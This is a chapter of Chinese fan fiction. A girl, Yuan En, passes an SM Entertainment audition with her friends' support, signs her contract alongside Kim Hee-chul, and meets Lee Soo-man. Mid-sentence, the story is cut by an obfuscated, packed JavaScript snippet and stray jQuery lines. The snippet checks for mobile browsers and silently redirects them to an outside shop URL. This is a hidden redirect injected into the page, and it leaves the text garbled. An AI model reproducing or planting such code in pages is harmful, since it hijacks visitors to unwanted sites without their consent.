三天时间。
李株赫几乎每天都会来她家里转一圈,明明那么害羞的人还是硬着头皮在客厅坐着吃一上午炒年糕,元恩都怕还没接到电话,她鹌鹑哥哥就要把自己吃成年糕转世了。
到第三天,从第一天的紧张期待逐渐看开,一开始元恩还会拿着手机在房间里和客厅像动物刻板般绕圈转悠,现在她已经能心安理得和李株赫一起吃炒年糕,顺便安慰他不要那么紧张。
反倒是李株赫焦虑到不行。
第一天他给权至龙发信息,权至龙还会趁训练间隙拿手机安抚他情绪,让他耐下性子再等等。
第二天再发,权至龙先确认本人的情绪是否稳定,在得知元恩本人该吃该喝好到不行后,他反过来询问:“李株赫,你是什么在等自家孩子高考成绩的家长吗?”
“如果是这样的话我劝你不要紧张,你可以先去学习怎么把便当做的好吃些,这样显得你不会很闲谢谢。”
那嘴叭叭的,元恩眼看这哥几次张嘴没插进去话,反倒是把自己气的半死。
到第三天,权至龙的信息反倒先来。
“还没打电话?”电话那头向来冷静的声音也有些崩不住了。
李株赫瞥了眼旁边拿着炒年糕专心看电视的元恩,“你想吃便当吗至龙xi,我昨天还跟着姨母学了两道菜。”
权至龙心虚咳嗽两声,半晌自己又皱眉有些郁闷:“不应该啊,最晚也就是今天了…没有选不上的道理啊。”
因为李株赫是开的免提,元恩自然能听得一清二楚,看这俩哥哥难得这么焦虑,反过来安慰的人反倒是她:“安心啦两位,就算这里选不上,我再去别的地方试试就好啊。”
见她没有消极态度,李株赫立刻表明态度:“放心吧小恩,只要哥哥有空绝对陪你一起。”
元恩和他碰碰拳。
李株赫悄悄拿纸把手上沾到的年糕酱擦干净。
这句话莫名给了权至龙灵感,他在电话那头沉默的时间长到两人以为他已经挂了,他却突然出声:“或许,我能带你去另一个公司试试…”
另一个公司?
元恩有些疑惑,可还没来得及问,被李株赫强行放在桌子中央的她的手机突然响起,把这个话题打断。
李株赫怕她玩小游戏会影响信号阻挡电话来线,元恩被迫看了三天电视的新闻频道,如今总算是能听见响声了。
没有把权至龙电话那头挂掉,李株赫把他的手机放在元恩手机旁边,在李株赫不是一般力度的拍背下,元恩终于靠自己努力把这口年糕咽下去。
“你好,请问是元恩xi吗?”电话那头是很温柔的女声。
“内,是我。”
“恭喜你,成功通过公司的周六选秀,请在三天之内带着父母来公司进行签约,希望能准时见到你。”似乎这句话已经说了不知道多少遍,再说出时给三人一种温柔却莫名麻木的状态。
唉,上班不容易啊。
可这也足够三人激动了。
李株赫激动到从沙发上蹦起来,然后又弯着腰和元恩无声击掌,元恩自然也很开心,坐在地毯上用力抬手和他击掌,还捂着嘴不敢发出声音。
因为太激动,李株赫一时忘记面前不是自己那个抗打的好亲故,用手狠狠给了元恩肩膀两下,把人疼到无声“阿帕阿帕”,才赶紧道歉替她揉肩。
电话另一头的权至龙也听得清晰,把刚刚想说的话咽回肚子里,他靠在练习室镜子边也跟着举起手掌,试图穿越空间和自己的两位朋友隔着空气击掌。
和电话那头的staff礼貌道谢,元恩挂断电话。
权至龙听见那边两人毫无忌惮的疯狂庆祝,用奶音也跟着控诉:“呀你们不能这样,不能因为我不在身边就孤立我啊,我们不是三人组吗!”
“米阿米阿”,李株赫的道歉不带任何真心。
元恩听见这话安慰他道:“那我们就把庆祝仪式留到下次见面吧,到时候咱们三个去吃炸酱面吧!”
权至龙失笑,“以后就是练习生了,以为炸酱面是想吃就能吃的吗?”
马上就要签约了还不知道自己要进的是什么地狱,估计要真正体验到来自社会的试炼后,这枚小豆芽菜才知道自己现在过的是什么神仙日子。
为了防止她打退堂鼓,没再提这茬。
“恭喜你啊元恩,看来咱们下次见面是真的要在公司了。”权至龙嘴上不说也是跟着担心了三天,现在的结果自然是大家都想看到的。
元恩刚刚和李株赫疯狂庆祝,头发又被无情铁手揉乱,现在正在重新扎头,闻言说道:“当然了至龙哥,以后还要请你多多关照啊。”
旁边坐着的李株赫也放下心,等把这两位小朋友安置好,他自然也要去追求他自己的梦想了。
……
签约那天没有元恩想象的那么多人。
毕竟选人又不是买菜,几场周六选秀选不出一个人都是常事,这次还算是效率比较高,一下就选中一男一女两名练习生。
在等待社长接见的时候,元恩和坐在自己对面的男生大眼对小眼,要说第一眼可能是无意对视,但随着谁都不愿做第一个挪开视线的人,一场瞪眼比赛就无声拉开序幕。
这是没有硝烟的战争。
金熙澈第一眼就认出这个小豆芽菜了,是在选秀现场一头撞到他肋骨都快断了的女孩。
因为是第一次来首尔,怕别人说他是乡下人没有礼貌,金熙澈极力压抑着脾气没有当场爆发,可这不代表他就看得惯这个横冲直撞的小豆芽菜。
尤其是朋友和他说首尔人不走回头路,他今天早上硬是走错路也不敢回头,他出来代表的就是江原道的脸面,他决不能给家乡丢脸…阿西,脚好疼。
新仇旧恨,他绝对不能先闭眼!
元恩对他倒也影响深刻,是那个没有礼貌可以称得上粗鲁甚至毫无教养但实在貌美的男生,不过她也确实没把这件事当成事罢了…
不过他一直看自己,元恩大王不可能认输!
“老师已经开完会了,想请熙澈xi和元恩xi也进去。”助理走出来,对两方家长和本人说道。
没有硝烟的战争被迫结束。
几乎是同一瞬间,两个人同时低下高贵的头颅用力揉眼,然后顶着一双红彤彤的眼睛和父母道别,跟着助理往办公室的方向走。
元恩乖乖跟着走,在即将消失在父母视线时习惯性回头看他们,只见小元女士和小元先生也在盯着她看,在和她视线汇聚时,默契冲她举起大拇指。
元恩笑出虎牙,也举起拇指。
站在办公室门口,助理恭敬敲门,“老师,两位孩子带过来了。”
办公室内几秒没有回应,“进来吧。”
两人一同走进,走到办公室中央,不像其他练习生或许会对社长的办公室有多好奇,两人鞠躬后只是盯着李绣满等他说话,弄得反倒是李绣满有些别扭。
其实为了吸引这些练习生,他的办公室专门放了HOT和SES的奖杯来撑场子,甚至还有一个柜子放专辑,就是为了看到这些练习生向往且仰慕的眼神,这样签约的过程会顺利很多。
这两个人…真的是自愿来做idol的吗?
其实他俩是真的没有注意。
一个是唯我独尊到多看一眼都会觉得掉价的江原道名片,一个是想速战速决去和权至龙见面的自由外国人,他们是真的对社长办公室长什么样子不感兴趣。
“咳咳,”李绣满让两个已经习惯性发射思维开始发呆的孩子把视线转移到他身上,脸不自觉笑出花来感慨:“真的都是特别好看的孩子啊。”
“谢谢社长。”两人同时回答。
要鞠躬吗?要鞠躬吧。
从见面就不对头的两人对视。
金熙澈先弯下一半腰,见元恩没动作又直起来,弄得刚反应过来想鞠躬的元恩一个踉跄,两个人就这样好几个来回,而后金熙澈先瞪他一眼:到底鞠不鞠?
元恩也瞪回去:这么大年纪没点主见吗?
看的李绣满直捂头叹气:“好了,你们、你们站好就行。”
只是例行问了几个问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936250|213722||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
题,类似你是因为什么想做idol,是否了解这个行业是干什么的,能否接受全封闭训练,相不相信自己能坚持下来。
元恩倒是事先被权老师辅导过,一板一眼答下来了,却听见李绣满又问:“元恩?你是我那天在机场见到的孩子吧。”
没想到还能被记住,她愣了愣:“是的社长。”
“为什么不拿着名片直接和staff说?毕竟是社长亲自递出的名片啊,怎么还要去参加选秀。”
“因为我还是有实力的社长,我不想走后门。”元恩满脸诚恳。
旁边站着的金熙澈看她一眼:这个性,不愧是有幸和他在同场选秀被选中的天选之女。
“以后都叫老师就好,”李绣满点点头笑着说,“我向你承诺,你选择来SM绝对是个正确的决定。”
她的问题回答完,本来以为这些问题旁边的男生纯模仿也能顺利回答,这一茬就这么过去了,却听到他头铁回答:“老师,我不确定我当练习生就能坚持下来。”
小瞧他了,是个狠角色。
她听见这话一开始本来没有很想笑,但当转过头看到李绣满那满脸菜色的表情后才是真的绷不住了。
元恩,深呼吸元恩,你可以的啊元恩大王,不要掉链子啊…
元恩紧紧闭上眼睛,仗着自己个子本来就小把脑袋低了又低,仿佛这样就没有人能看到她因为憋笑通红的脸。
真是两个神奇的孩子啊,他应该事先有心理准备的,在勇镇同自己说这两个一个唱了《爱国歌》一个唱的《狮子王》开始…是他轻敌了。
李绣满明显不想和他俩多说了,揉揉紧皱的眉头挥挥手,“那个什么,你们跟着staff去参观教室吧,我和你们父母说,好了赶紧下去吧。”
“内。”
两人恭敬退下,跟着staff去参观公司。
其实也没有什么值得参观的,公司一共就那么大,除了工作的地方就是训练的场所。比起多震撼多喜欢,他俩第一次真正有所触动,是在隔着窗户看到边上舞蹈课边哭得满脸泪的练习生时张大嘴巴。
两个死对头同时反应过来以后是同命相连的队友,金熙澈捂着嘴巴先问:“这明明就是地狱啊,怎么都挤破头往里面来?我还以为是好事来着…”
元恩也踮着脚,“熙澈xi,你学过跳舞吗?”
“没有。”
“那我就放心了。”有帮我垫底的了。
参观一圈都不见权至龙的身影,元恩开始来回张望,终于在售货机前看到怀里抱着好几瓶饮料咖啡的权至龙。
其实这也算正常,哪有后辈不跑腿帮前辈买这买那的?哪怕是被社长从舞台上亲自带回来的权至龙也不例外,可就算提前打过预防针,元恩心里还是不舒服。
“至龙哥!”见人抬头,她快速跑过去。
权至龙今天其实很累,是比平常还要累的一天。
睁开眼还是和出道没任何希望的日常训练,听说最新的男团企划根本没有把他划入名单,他想要创作,可在公司无论写出多好的歌也不会被看重。
他其实很累,累到每天睁眼都要花很大的力气。
照常替前辈跑腿,两只手抱着胳膊,用尽全力拿住对他来说过多的饮料,连身后出汗沾在背上的衬衫都没时间打理,他必须赶紧回到教室。
可他却听到那声“至龙哥”。
公司没有比他年纪小的练习生,只有她。
还是初见时扎着高马尾的女孩,元恩朝他跑来时却没有像初见时露出好看的虎牙,皱着眉头加速朝他过来,而后站在他面前,替他分担了超过一半的饮料。
女孩明明比他还小,权至龙习惯性拒绝:“不用元恩,我自己可以,你赶紧和staff姐姐走,我…”
“至龙哥!”元恩打断他的话,阳光透过售货机后的窗户打在她强撑笑容的脸上,她还在努力让他开心,“你看我多厉害,能拿起来这么多饮料。”
“我帮你送过去怎么样?顺便让我看看你跳舞的样子。”
“可以吗?”